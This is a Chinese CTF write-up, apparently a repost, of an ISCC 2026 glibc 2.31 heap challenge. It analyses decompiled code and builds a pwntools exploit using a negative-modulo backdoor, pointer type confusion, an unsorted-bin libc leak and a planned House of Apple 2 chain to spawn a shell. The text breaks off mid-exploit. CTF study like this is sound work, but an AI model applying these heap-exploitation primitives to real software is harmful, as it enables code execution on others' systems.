ISCC2026题目[houseofapple2]利用方法

admin 2026-07-26 04:49:17 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文解析ISCC2026的Glibc2.31堆利用题,核心漏洞为利用负数取模触发后门实现任意地址加一,及通过类型混淆构造任意地址写。最终结合UnsortedBin泄露基址,利用HouseofApple2链劫持__doallocate获取shell。文章详尽展示了逆向分析与Exploit构造过程,对高版本堆利用极具参考价值。 综合评分: 89 文章分类: CTF,二进制安全,漏洞分析


cover_image

ISCC 2026 题目 [house of apple 2] 利用方法

xnqjns xnqjns

看雪学苑

2026年7月25日 17:59 江苏

在小说阅读器读本章

去阅读

这道堆利用题目涉及了 Glibc 2.31 下的类型混淆与 House of Apple 2 利用链,整体构造较为巧妙,非常考验对底层内存状态的追踪能力,值得深入复盘分析,本篇着重记录此题的完整调试与 Exploit 构造过程。

#

一、漏洞摘要

在深入代码之前,先简述本题的几处核心漏洞:

  • 逻辑漏洞导致越界机制:

    利用 q_num = 1 配合 lazy 标识符产生负数取模计算,从而绕过 >89 的分支限制,触发后门函数实现任意地址字节 +1。借此修改 Chunk Size 突破 Tcache 限制送入 Unsorted Bin。

  • 类型混淆实现任意写:

    利用 mode 函数在 lazy 状态切换时的处理差异产生类型混淆,篡改 mode_chunk 的尾字节,使其与包含 comment_chunk_addr 的目标区域重叠,转化为任意地址写原语。

  • 利用链构造:

    Glibc 2.31 环境下,通过 Unsorted Bin 泄露 libc 基址 -> 伪造 _IO_wide_data -> 走 House of Apple 2 劫持 __doallocate 触发 system("/bin/sh")

提示:目标环境虽然是 Glibc 2.31,但依然能够修改 __malloc_hook 等机制(实际上直到 2.34 版本 hook 才被彻底移除),不过本题通过劫持 _IO_list_all 走 House of Apple 2 依然是非常通用的高版本打法。

二、资源下载

题目资源github仓库地址https://github.com/xnqjns/xnqjns.github.io/tree/main/content/posts/2026-05-10%5B2026-ISCC-test–house-of-apple-2%5D/files

文章底部【阅读原文】附件下载

三、题目分析

#

四、程序分析

核心交互机制

程序分为教师学生两个操作域,通过 dword_5010 存放身份标识符,公共函数 sub_1E62() 用于切换身份。

教师专属功能:

  • 创建学生 ---> sub_1424()
  • 给所有学生打分 ---> sub_1538()
  • 写评语 ---> sub_1691()
  • 删除学生 ---> sub_1875()
  • 创建0x300大小堆块(malloc) ---> sub_1AC3()

学生专属功能:(注:sub_1A34 为无用输出函数)

  • 输出学生评语 ---> sub_1C5B()

  • 异或 lazy 标识 ---> sub_1E03()

  • mode

    状态设置 ---> sub_1B05()

  • 切换学生 ---> sub_1EBB()

为了方便后续理解,这里提前给出管理 Chunk 和学生 Chunk 的内存布局

================ 管理 Chunk (0x20) ================
0x00 学生chunk_addr      | 0x08
0x10 mode_chunk(0x20)   | 0x18 lazy_flag    | 0x1C show_comment_flag

================ 学生 Chunk (0x18) ================
0x00 q_num | 0x04 score    | 0x08 comment_chunk_addr
0x10 comment_chunk_size

菜单

__int64 __fastcall main(__int64 a1, char **a2, char **a3){
unsignedint v4; // [rsp+0h] [rbp-20h]
char buf[10]; // [rsp+Eh] [rbp-12h] BYREF
unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
sub_123A(a1, a2, a3);
printf("role: <0.teacher/1.student>: ");
&nbsp; __isoc99_scanf("%d", &dword_5010);
while&nbsp;(&nbsp;1&nbsp;)
&nbsp; {
while&nbsp;( !dword_5010 )
&nbsp; &nbsp; {
sub_1392();
printf("choice>> ");
read(0, buf,&nbsp;2uLL);
switch&nbsp;(&nbsp;atoi(buf) )
&nbsp; &nbsp; &nbsp; {
case&nbsp;1:
sub_1424();
break;
case&nbsp;2:
sub_1538();
break;
case&nbsp;3:
sub_1691();
break;
case&nbsp;4:
sub_1875();
break;
case&nbsp;5:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dword_5010 =&nbsp;sub_1E62();
break;
case&nbsp;6:
sub_1AC3();
default:
continue;
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
&nbsp; &nbsp; v4 =&nbsp;0;
if&nbsp;( !dword_503C )
break;
while&nbsp;( dword_5010 ==&nbsp;1&nbsp;)
&nbsp; &nbsp; {
sub_13D5();
printf("choice>> ");
read(0, buf,&nbsp;2uLL);
switch&nbsp;(&nbsp;atoi(buf) )
&nbsp; &nbsp; &nbsp; {
case&nbsp;1:
sub_1A34(v4);
break;
case&nbsp;2:
sub_1C5B(v4);
break;
case&nbsp;3:
sub_1E03(v4);
break;
case&nbsp;4:
sub_1B05(v4);
break;
case&nbsp;5:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dword_5010 =&nbsp;sub_1E62();
break;
case&nbsp;6:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v4 =&nbsp;sub_1EBB();
break;
default:
continue;
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
&nbsp; }
puts("no student yet");
return&nbsp;0LL;
}

创建学生

整个程序除了 sub_1AC3() 用了 malloc 其他所有地方都用了 calloc

创建一个管理chunk(0x20),一个学生chunk(0x18),创建时要求输入一个 0-9 的数字,放入学生chunk的 0-4 字节处,管理chunk 存入全局数组,下标为当前学生数量。

unsigned&nbsp;__int64&nbsp;sub_1424(){
&nbsp; _DWORD v1[2];&nbsp;// [rsp+8h] [rbp-28h] BYREF
&nbsp; _QWORD *v2;&nbsp;// [rsp+10h] [rbp-20h]
void&nbsp;*v3;&nbsp;// [rsp+18h] [rbp-18h]
unsigned&nbsp;__int64 v4;&nbsp;// [rsp+28h] [rbp-8h]

&nbsp; v4 = __readfsqword(0x28u);
&nbsp; v1[1] =&nbsp;0;
&nbsp; v1[0] =&nbsp;0;
if&nbsp;( (unsignedint)dword_503C <=&nbsp;6&nbsp;)
&nbsp; {
&nbsp; &nbsp; v2 =&nbsp;calloc(1uLL,&nbsp;0x20uLL);
&nbsp; &nbsp; v3 =&nbsp;calloc(1uLL,&nbsp;0x18uLL);
&nbsp; &nbsp; *v2 = v3;
&nbsp; &nbsp; qword_5080[dword_503C++] = v2;
printf("enter the number of questions: ");
&nbsp; &nbsp; __isoc99_scanf("%d", v1);
if&nbsp;( v1[0] <=&nbsp;9&nbsp;&& v1[0] >&nbsp;0&nbsp;)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; *(_DWORD *)*v2 = v1[0];
puts("finish");
&nbsp; &nbsp; }
else
&nbsp; &nbsp; {
puts("wrong input!");
&nbsp; &nbsp; }
&nbsp; }
else
&nbsp; {
puts("No more students!");
&nbsp; }
return&nbsp;__readfsqword(0x28u) ^ v4;
}

学生打分

首先 buf[0] 会等于 0-127 中的一个数字,然后score ---> buf[0] % (q_num * 10) ,分数会写入 学生chunk 的 4-8字节处,如果当前学生lazy标识为1,则该学生的分数会等于当前值 – 10

unsigned&nbsp;__int64&nbsp;sub_1538(){
unsignedint&nbsp;i;&nbsp;// [rsp+8h] [rbp-18h]
int&nbsp;v2;&nbsp;// [rsp+Ch] [rbp-14h]
&nbsp; _BYTE buf[8];&nbsp;// [rsp+10h] [rbp-10h] BYREF
unsigned&nbsp;__int64 v4;&nbsp;// [rsp+18h] [rbp-8h]

&nbsp; v4 = __readfsqword(0x28u);
puts("marking testing papers.....");
for&nbsp;( i =&nbsp;0; i < dword_503C; ++i )
&nbsp; {
if&nbsp;(&nbsp;read(fd, buf,&nbsp;8uLL) !=&nbsp;8&nbsp;)
&nbsp; &nbsp; {
puts("read_error");
exit(-1);
&nbsp; &nbsp; }
&nbsp; &nbsp; buf[0] &= ~0x80u;
&nbsp; &nbsp; v2 = buf[0] % (10&nbsp;* **(_DWORD **)qword_5080[i]);
printf("score for the %dth student is %d\n", i, v2);
if&nbsp;( *(_DWORD *)(qword_5080[i] +&nbsp;24LL) ==&nbsp;1&nbsp;)
&nbsp; &nbsp; {
puts("the student is lazy! b@d!");
&nbsp; &nbsp; &nbsp; v2 -=&nbsp;10;
&nbsp; &nbsp; }
&nbsp; &nbsp; *(_DWORD *)(*(_QWORD *)qword_5080[i] +&nbsp;4LL) = v2;
&nbsp; }
puts("finish");
return&nbsp;__readfsqword(0x28u) ^ v4;
}

写评语

往 学生chunk 的 8-16 字节处写入 comment_chunk ,16-24字节处写入comment_chunk_size,大小最大1023` 字节。

unsigned&nbsp;__int64&nbsp;sub_1691(){
&nbsp; __int64 v0;&nbsp;// rbx
int&nbsp;v2;&nbsp;// [rsp+10h] [rbp-20h] BYREF
int&nbsp;v3;&nbsp;// [rsp+14h] [rbp-1Ch] BYREF
unsigned&nbsp;__int64 v4;&nbsp;// [rsp+18h] [rbp-18h]

&nbsp; v4 = __readfsqword(0x28u);
&nbsp; v2 =&nbsp;0;
&nbsp; v3 =&nbsp;0;
printf("which one? > ");
&nbsp; __isoc99_scanf("%d", &v3);
if&nbsp;( *(_QWORD *)(*(_QWORD *)qword_5080[v3] +&nbsp;8LL) )
&nbsp; {
puts("enter your comment:");
read(0, *(void&nbsp;**)(*(_QWORD *)qword_5080[v3] +&nbsp;8LL), *(int&nbsp;*)(*(_QWORD *)qword_5080[v3] +&nbsp;16LL));
puts("finish");
&nbsp; }
else
&nbsp; {
printf("please input the size of comment: ");
&nbsp; &nbsp; __isoc99_scanf("%d", &v2);
if&nbsp;( v2 <=&nbsp;1023&nbsp;&& v2 >&nbsp;0&nbsp;)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; v0 = *(_QWORD *)qword_5080[v3];
&nbsp; &nbsp; &nbsp; *(_QWORD *)(v0 +&nbsp;8) =&nbsp;calloc(1uLL, v2);
puts("enter your comment:");
read(0, *(void&nbsp;**)(*(_QWORD *)qword_5080[v3] +&nbsp;8LL), v2);
&nbsp; &nbsp; &nbsp; *(_DWORD *)(*(_QWORD *)qword_5080[v3] +&nbsp;16LL) = v2;
puts("finish");
&nbsp; &nbsp; }
else
&nbsp; &nbsp; {
puts("wrong length :'(");
&nbsp; &nbsp; }
&nbsp; }
return&nbsp;__readfsqword(0x28u) ^ v4;
}

删除学生

按照先后顺序依次释放 comment_chunk学生chunk管理chunk,最后把全局数字对应下标清零,学生数量 – 1

unsigned&nbsp;__int64&nbsp;sub_1875(){
unsignedint&nbsp;v1;&nbsp;// [rsp+8h] [rbp-18h]
char&nbsp;buf[10];&nbsp;// [rsp+Eh] [rbp-12h] BYREF
unsigned&nbsp;__int64 v3;&nbsp;// [rsp+18h] [rbp-8h]

&nbsp; v3 = __readfsqword(0x28u);
puts("only 3 chances to call parents!");
if&nbsp;( dword_5014 )
&nbsp; {
&nbsp; &nbsp; --dword_5014;
if&nbsp;( dword_503C )
&nbsp; &nbsp; {
puts("which student id to choose?");
read(0, buf,&nbsp;5uLL);
&nbsp; &nbsp; &nbsp; v1 =&nbsp;atoi(buf);
if&nbsp;( v1 <=&nbsp;9&nbsp;&& qword_5080[v1] )
&nbsp; &nbsp; &nbsp; {
printf("bad luck for student %d! Say goodbye to him/her!", v1);
if&nbsp;( *(_QWORD *)(*(_QWORD *)qword_5080[v1] +&nbsp;8LL) )
free(*(void&nbsp;**)(*(_QWORD *)qword_5080[v1] +&nbsp;8LL));
free(*(void&nbsp;**)qword_5080[v1]);
free((void&nbsp;*)qword_5080[v1]);
&nbsp; &nbsp; &nbsp; &nbsp; qword_5080[v1] =&nbsp;0LL;
&nbsp; &nbsp; &nbsp; &nbsp; --dword_503C;
&nbsp; &nbsp; &nbsp; }
else
&nbsp; &nbsp; &nbsp; {
puts("please watch carefully :)");
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
else
&nbsp; &nbsp; {
puts("add some students first!");
&nbsp; &nbsp; }
&nbsp; }
else
&nbsp; {
puts("no you can't");
&nbsp; }
return&nbsp;__readfsqword(0x28u) ^ v3;
}

malloc_0x300

这个没啥好讲的

void&nbsp;__noreturn&nbsp;sub_1AC3(){
void&nbsp;*v0;&nbsp;// [rsp+8h] [rbp-8h]

puts("never pray again!");
&nbsp; v0 =&nbsp;malloc(0x300uLL);
sub_1A58(0LL, v0,&nbsp;768LL);
exit(-1);
}

共有:切换身份

__int64&nbsp;sub_1E62(){
unsignedint&nbsp;v1;&nbsp;// [rsp+4h] [rbp-Ch] BYREF
unsigned&nbsp;__int64 v2;&nbsp;// [rsp+8h] [rbp-8h]

&nbsp; v2 = __readfsqword(0x28u);
printf("role: <0.teacher/1.student>: ");
&nbsp; __isoc99_scanf("%d", &v1);
return&nbsp;v1;
}

输出学生评语

一个小后门,假如当前学生的分数大于 89 就会输出这个学生对应的 学生chunk 地址,并且让一个我们传入的地址的值 +1,后面是正常输出学生评语,当我们触发后门时,它会给 管理chunk 的 0x1C 写入 1 后面该学生不会在触发输出评语函数。

注意读取地址时的 sub_131A() 函数,它会把我们输入的最后一个字符改为 0,假设我们输入 123456\n ---> 12345\0\n ,我们需要多输入一个字符跳过这个坑。

unsigned&nbsp;__int64 __fastcall&nbsp;sub_1C5B(int&nbsp;a1){
&nbsp; _BYTE *v1;&nbsp;// rax
char&nbsp;nptr[24];&nbsp;// [rsp+20h] [rbp-20h] BYREF
unsigned&nbsp;__int64 v4;&nbsp;// [rsp+38h] [rbp-8h]

&nbsp; v4 = __readfsqword(0x28u);
if&nbsp;( *(_DWORD *)(qword_5080[a1] +&nbsp;28LL) ==&nbsp;1&nbsp;)
&nbsp; {
puts("already gained the reward!");
&nbsp; }
else
&nbsp; {
if&nbsp;( *(_DWORD *)(*(_QWORD *)qword_5080[a1] +&nbsp;4LL) >&nbsp;0x59u )
&nbsp; &nbsp; {
printf("Good Job! Here is your reward! %p\n", (constvoid&nbsp;*)qword_5080[a1]);
printf("add 1 to wherever you want! addr: ");
sub_131A(0LL, nptr,&nbsp;16LL);
&nbsp; &nbsp; &nbsp; v1 = (_BYTE *)atol(nptr);
&nbsp; &nbsp; &nbsp; ++*v1;
&nbsp; &nbsp; &nbsp; *(_DWORD *)(qword_5080[a1] +&nbsp;28LL) =&nbsp;1;
&nbsp; &nbsp; }
if&nbsp;( *(_QWORD *)(*(_QWORD *)qword_5080[a1] +&nbsp;8LL) )
&nbsp; &nbsp; {
puts("here is the review:");
write(1, *(constvoid&nbsp;**)(*(_QWORD *)qword_5080[a1] +&nbsp;8LL), *(int&nbsp;*)(*(_QWORD *)qword_5080[a1] +&nbsp;16LL));
&nbsp; &nbsp; }
else
&nbsp; &nbsp; {
puts("no reviewing yet!");
&nbsp; &nbsp; }
&nbsp; }
return&nbsp;__readfsqword(0x28u) ^ v4;
}

char&nbsp;*__fastcall&nbsp;sub_131A(int&nbsp;a1,&nbsp;char&nbsp;*a2,&nbsp;int&nbsp;a3){
char&nbsp;*result;&nbsp;// rax
int&nbsp;i;&nbsp;// [rsp+1Ch] [rbp-4h]

read(a1, a2, a3);
for&nbsp;( i =&nbsp;0; a2[i] !=&nbsp;10; ++i )
&nbsp; &nbsp; ;
&nbsp; a2[i -&nbsp;1] =&nbsp;0;
&nbsp; result = &a2[a3];
&nbsp; *result =&nbsp;-61;
return&nbsp;result;
}

异或lazy标识

int&nbsp;__fastcall&nbsp;sub_1E03(int&nbsp;a1){
puts("prayer...Good luck to you");
&nbsp; *(_DWORD *)(qword_5080[a1] +&nbsp;24LL) ^=&nbsp;1u;
return&nbsp;puts("finish");
}

mode函数

假如当前学生的 lazy 标识不为1 就会往 管理chunk 的 16-24 字节写入 mode_chunk ,假如标识为1往 管理chunk 的 16 字节写入一个整数。

unsigned&nbsp;__int64 __fastcall&nbsp;sub_1B05(int&nbsp;a1){
&nbsp; __int64 v1;&nbsp;// rbx
unsignedint&nbsp;v3;&nbsp;// [rsp+14h] [rbp-1Ch] BYREF
unsigned&nbsp;__int64 v4;&nbsp;// [rsp+18h] [rbp-18h]

&nbsp; v4 = __readfsqword(0x28u);
if&nbsp;( *(_DWORD *)(qword_5080[a1] +&nbsp;24LL) !=&nbsp;1&nbsp;)
&nbsp; {
if&nbsp;( !*(_QWORD *)(qword_5080[a1] +&nbsp;16LL) )
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; v1 = qword_5080[a1];
&nbsp; &nbsp; &nbsp; *(_QWORD *)(v1 +&nbsp;16) =&nbsp;calloc(1uLL,&nbsp;0x20uLL);
&nbsp; &nbsp; }
puts("enter your mode!");
read(0, *(void&nbsp;**)(qword_5080[a1] +&nbsp;16LL),&nbsp;0x20uLL);
goto&nbsp;LABEL_8;
&nbsp; }
puts("enter your pray score: 0 to 100");
&nbsp; __isoc99_scanf("%d", &v3);
if&nbsp;( v3 <=&nbsp;0x64&nbsp;)
&nbsp; {
&nbsp; &nbsp; *(_BYTE *)(qword_5080[a1] +&nbsp;16LL) = v3;
LABEL_8:
puts("finish");
return&nbsp;__readfsqword(0x28u) ^ v4;
&nbsp; }
puts("bad!");
return&nbsp;__readfsqword(0x28u) ^ v4;
}

切换学生

__int64&nbsp;sub_1EBB(){
int&nbsp;v1;&nbsp;// [rsp+4h] [rbp-Ch] BYREF
unsigned&nbsp;__int64 v2;&nbsp;// [rsp+8h] [rbp-8h]

&nbsp; v2 = __readfsqword(0x28u);
printf("input your id: ");
&nbsp; __isoc99_scanf("%d", &v1);
if&nbsp;( !qword_5080[v1] || v1 >&nbsp;6&nbsp;)
&nbsp; {
puts("RUA alien?");
exit(-1);
&nbsp; }
printf("hello, student %d\n", v1);
return&nbsp;(unsignedint)v1;
}

#

五、关键漏洞点分析

整体程序大量使用了 calloc 分配内存,排除了常规的直接利用未初始化内存的数据残留。

任意地址 +1 与 堆地址泄露 (sub_1C5B)

在 输出学生评语 功能中存在一个后门,如果当前学生的分数大于 89,程序会泄露该学生对应的 管理 Chunk 地址,并允许向我们传入的任意地址执行字节加法 ---> ++*v1。

注意 读取目标地址时的 sub_131A() 函数存在问题,它会将输入的倒数第二个字符(即 \n 前的字符)截断为 \0。例如输入 123456\n 会变成 12345\0\n。因此在构造 Payload 时,需要在末尾多填充一个无用字符以保护有效地址。

类型混淆导致的有限越界写 (sub_1B05)

在 mode 函数中:

  • 当 lazy != 1 时,程序会在 管理 Chunk 的 16-24 字节处分配一个 mode_chunk 并写入数据。
  • 当 lazy == 1 时,程序会要求输入一个 0-100 的整数,并直接将其作为一个字节(Byte)写入 管理 Chunk 的第 16 字节处。

这里存在严重的类型混淆。如果我们在 lazy != 1 时创建了 mode_chunk(例如地址为 0x...2e367340),随后将 lazy 翻转为 1,就可以通过输入 0-100 覆盖该指针的最低字节(例如将 40 改为其他值)。配合 lazy == 0 时对 mode_chunk 的正常读写,这就形成了一个局限的任意地址写漏洞。

回看前面给出的管理 Chunk 和学生 Chunk 的内存布局,假如堆布局完成的足够好,完全可以利用 mode_chunk 修改 comment_chunk_addr 将这个局限的任意地址写 变为 任意地址写。

六、利用思路

由于程序限制了 comment_chunk 的最大大小为 1023 字节(加上 Chunk 头最大为 0x410),在常规情况下(Tcache 未满)这些被释放的块会进入 Tcache Bin,无法直接暴露出 main_arena 来泄露 libc 基址。

结合发现的漏洞点,可以构造如下利用链

  • 突破 Tcache 限制:

    利用 sub_1C5B 函数中分数 > 89 触发的任意地址字节 +1 功能。我们可以先布局一个大小为 0x330 的堆块,通过该功能将其 Size 字段从 0x3 修改为 0x4(变为 0x430)。当释放该块时,由于大小超过了 Tcache 的上限,它将直接被送入 Unsorted Bin;

  • 指针劫持实现任意写:

    利用 mode 函数的类型混淆(修改指针尾字节),让 mode_chunk 的指针与 学生 Chunk 发生重叠。通过对 mode_chunk 写入,篡改 学生 Chunk 中的 comment_chunk_addr;

  • 泄露 Libc 基址:

    将 comment_chunk_addr 指向我们之前构造好并放入 Unsorted Bin 的堆块,再调用 输出学生评语 函数,即可顺利泄露 main_arena + 96 的地址,计算出 Libc 基址;

  • House of Apple 2 劫持控制流:

    在获取到 libc基址 和 堆基址后,由于目标环境为 Glibc 2.31,我们可以采用 IO_FILE 结合宽字符流(House of Apple 2)的方式,绕过高版本的 vtable 检查并最终劫持程序执行流。

那么怎么让分数大于89呢?正常来说是做不到的,因为 v2 = buf[0] % (10 * **(_DWORD **)qword_5080[i]) 翻译一下 v2 = buf[0] % (10 * &nbsp;q_num 我们传入的 q_num 最大为 9 ,也就是说 v2 = 0~127 % 0-90 这个最大的值是 89 ,无论如何我们都不可能大于 89。

我们需要借用 lazy 标识 来让分数 -= 10 ,让分数为负数,负数转换成正数肯定比 89 大,那么我们在传入 q_num 就要是 1,这样 v2 = (0~9) - 10 < 0,就能完成了。

泄露libc基址与堆基址

#程序功能封装
def&nbsp;change(role):
&nbsp; &nbsp; io.sendlineafter(b'choice>> ',b'5')
&nbsp; &nbsp; io.sendlineafter(b'role: <0.teacher/1.student>:',str(role))

def&nbsp;tea_add(num):
&nbsp; &nbsp; io.sendlineafter(b'choice>> ',b'1')
&nbsp; &nbsp; io.sendlineafter(b'of questions:',str(num))
&nbsp; &nbsp; io.recvuntil(b'finish\n')

def&nbsp;tea_score():
&nbsp; &nbsp; io.sendlineafter(b'choice>> ',b'2')
&nbsp; &nbsp; io.recvuntil(b'finish\n')

def&nbsp;tea_comment(index,size,content):
&nbsp; &nbsp; io.sendlineafter(b'choice>> ',b'3')
&nbsp; &nbsp; io.sendlineafter(b'which one? > ',str(index))
&nbsp; &nbsp; if io.recvuntil(b'enter your comment:\n',timeout=1):
&nbsp; &nbsp; &nbsp; &nbsp; io.sendline(content)
&nbsp; &nbsp; &nbsp; &nbsp; io.recvuntil(b'finish\n')
&nbsp; &nbsp; else:
&nbsp; &nbsp; &nbsp; &nbsp; io.sendlineafter(b'the size of comment: ',str(size))
&nbsp; &nbsp; &nbsp; &nbsp; io.sendlineafter(b'enter your comment:\n',content)
&nbsp; &nbsp; &nbsp; &nbsp; io.recvuntil(b'finish\n')

def&nbsp;tea_free(index):
&nbsp; &nbsp; io.sendlineafter(b'choice>> ',b'4')
&nbsp; &nbsp; io.sendlineafter(b'id to choose?\n',str(index))
&nbsp; &nbsp; io.recvuntil(b'Say goodbye to him/her!')

def&nbsp;stu_id(index):
&nbsp; &nbsp; io.sendlineafter(b'choice>> ',b'6')
&nbsp; &nbsp; io.sendlineafter(b'input your id:',str(index))
&nbsp; &nbsp; io.recvuntil(f"hello, student {str(index)}")

def&nbsp;stu_show(addr):
&nbsp; &nbsp; io.sendlineafter(b'choice>> ',b'2')
&nbsp; &nbsp; if io.recvuntil(b'Good Job! Here is your reward!',timeout=1):
&nbsp; &nbsp; &nbsp; &nbsp; heap_addr =&nbsp;int(io.recvuntil(b'\n',drop=True),16)
&nbsp; &nbsp; &nbsp; &nbsp; io.sendlineafter(b'you want! addr: ',str(addr))
&nbsp; &nbsp; &nbsp; &nbsp; return heap_addr

def&nbsp;stu_pray():
&nbsp; &nbsp; io.sendlineafter(b'choice>> ',b'3')
&nbsp; &nbsp; io.recvuntil(b'finish\n')

def&nbsp;stu_mode(content):
&nbsp; &nbsp; io.sendlineafter(b'choice>> ',b'4')
&nbsp; &nbsp; if io.recvuntil(b'enter your mode!',timeout=1):
&nbsp; &nbsp; &nbsp; &nbsp; io.sendline(content)
&nbsp; &nbsp; &nbsp; &nbsp; io.recvuntil(b'finish\n')
&nbsp; &nbsp; elif io.recvuntil(b'enter your pray score: 0 to 100\n',timeout=1):
&nbsp; &nbsp; &nbsp; &nbsp; io.sendline(content)
&nbsp; &nbsp; &nbsp; &nbsp; io.recvuntil(b'finish\n')

我们先创建一个学生(stu_0),并给他写上评语,大小为0x328,这就是我们后面需要修改的size的chunk。

tea_add(1)
tea_comment(0,0x328,b'AAAA')

然后创建第二个学生(stu_1),把 mode_chunk 创建了,这样刚好我们就可以覆盖到  stu_1 的 comment_chunk 了。

tea_add(1)
change(1)                #切换到学生模式
stu_id(1)                #选择学生id
stu_mode(b'AAAA')

接下来创建 stu_1 的 conmment_chunk 我们在这个部分就需要伪造后续的chunk,来绕过释放 stu_0 的 comment_chunk 时候的检查。

change(0)                             &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;#切换到老师
payload = p64(0) *&nbsp;15&nbsp;+ p64(0x21) + p64(0) *&nbsp;3&nbsp;+ p64(0x21)     &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;#提前计算好的payload
tea_comment(1,0x100,payload)     &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;#创建 stu_1 comment_chunk

tea_add(2)
tea_comment(2,0x120,b'AAAA')                 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;#这是后续存放 fake_vtable的堆块,这里提前创建了

change(1)                         &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;#切换回学生,id 默认为 0
stu_pray()                     &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;#设置 lazy 标识为 1

change(0)                             &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;#切换回老师
tea_score()                         &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;#完成打分,现在stu_0 -> socre < 0

change(1)                             &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;#切换回学生,开始泄露堆基址,接下来不能使用封装的函数!
io.sendlineafter(b'choice>> ',b'2')
io.recvuntil(b'Good Job! Here is your reward!')
leak_addr =&nbsp;int(io.recvuntil(b'\n',drop=True),16)     &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;#获得堆地址
heap_base = leak_addr & ~0xFFF                     &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;#将低三位清零就是堆基址

payload =&nbsp;str(leak_addr +&nbsp;0x49).encode() +&nbsp;b'X'                 &nbsp;#将泄露出来的管理chunk地址 加上固定偏移,在传入进去,就完成了伪造chunk_size
io.sendlineafter(b'you want! addr: ',payload)
print(hex(leak_addr))
print(hex(leak_addr +&nbsp;0x48))

注意是 0x49 不是 0x48,多偏移一个字节才能修改 0x3,我们可以看一下堆内存,看一下前面部署的能不能通过检查。

pwndbg> x/100gx 0x5f216910f2e0
0x5f216910f2e0: 0x0000000000000328 &nbsp; &nbsp; &nbsp;0x0000000000000431
0x5f216910f2f0: 0x0000000a41414141 &nbsp; &nbsp; &nbsp;0x0000000000000000
.....
pwndbg> x/50gx 0x5f216910f700
0x5f216910f700: 0x0000000000000000 &nbsp; &nbsp; &nbsp;0x0000000000000000
0x5f216910f710: 0x0000000000000000 &nbsp; &nbsp; &nbsp;0x0000000000000021
0x5f216910f720: 0x0000000000000000 &nbsp; &nbsp; &nbsp;0x0000000000000000
0x5f216910f730: 0x0000000000000000 &nbsp; &nbsp; &nbsp;0x0000000000000021
#0x5f216910f2e0 + 0x430 ---> 0x5f216910f710,刚好到了我们在 stu_1 comment_chunk 里伪造的chunk
#这个 stu_1 comment_chunk_size 怎么计算呢,首先我们扩展了 0x100 大小,管理chunk + 学生chunk = 0x50,也就是我们的 comment_chunk_size 要大于 0x50,我选了0x100 不会太小也不会太大

接下来释放掉这个被修改大小的 chunk ,让他进入 unsorted bin。

change(0)
tea_free(0)

'''
pwndbg> bins
tcachebins
0x20 [ &nbsp;1]: 0x58e1b126c2d0 ◂— 0
0x30 [ &nbsp;1]: 0x58e1b126c2a0 ◂— 0
fastbins
empty
unsortedbin
all: 0x58e1b126c2e0 —▸ 0x74b12553ebe0 ◂— 0x58e1b126c2e0
smallbins
'''

我们接着把 stu_1 的 学生chunk 中的 comment_chunk_addr 修改成 stu_0 的 comment_chunk,就可以泄露libc基址了。

change(1)
stu_id(1)
stu_pray()         &nbsp; &nbsp;#异或stu_1 的lazy标识符

stu_mode() &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;#前面我们已经创建了 stu_1 的 mode_chunk,现在修改他的尾数为0x50,这样下次编辑就可以修改
#0x58e1b126c658: &nbsp; &nbsp;0x000058e1b126c6a0(comment_chunk_addr)

0x58e1b126c610:&nbsp;0x0000000000000000 &nbsp; &nbsp; &nbsp;     &nbsp; &nbsp; &nbsp; &nbsp;0x0000000000000031
0x58e1b126c620:&nbsp;0x000058e1b126c650(学生chunk_addr)    0x0000000000000000
0x58e1b126c630:&nbsp;0x000058e1b126c670(mode_chunk) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0x0000000000000000
0x58e1b126c640:&nbsp;0x0000000000000000 &nbsp; &nbsp; &nbsp;     &nbsp; &nbsp; &nbsp; &nbsp;0x0000000000000021
0x58e1b126c650:&nbsp;0x0000000300000001 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0x000058e1b126c6a0(comment_chunk_addr)
0x58e1b126c660:&nbsp;0x0000000000000100(comment_chunk_size) &nbsp;0x0000000000000031
0x58e1b126c670:&nbsp;0x0000000a41414141 &nbsp; &nbsp; &nbsp;        0x0000000000000000
0x58e1b126c680:&nbsp;0x0000000000000000 &nbsp; &nbsp; &nbsp;        0x0000000000000000
0x58e1b126c690:&nbsp;0x0000000000000000 &nbsp; &nbsp; &nbsp;        0x0000000000000111

pwndbg> x/30gx&nbsp;0x5fe8b258d600
0x5fe8b258d600:&nbsp;0x0000000000000000 &nbsp; &nbsp; &nbsp;        0x0000000000000000
0x5fe8b258d610:&nbsp;0x0000000000000000 &nbsp; &nbsp; &nbsp;        0x0000000000000031
0x5fe8b258d620:&nbsp;0x00005fe8b258d650 &nbsp; &nbsp; &nbsp;        0x0000000000000000
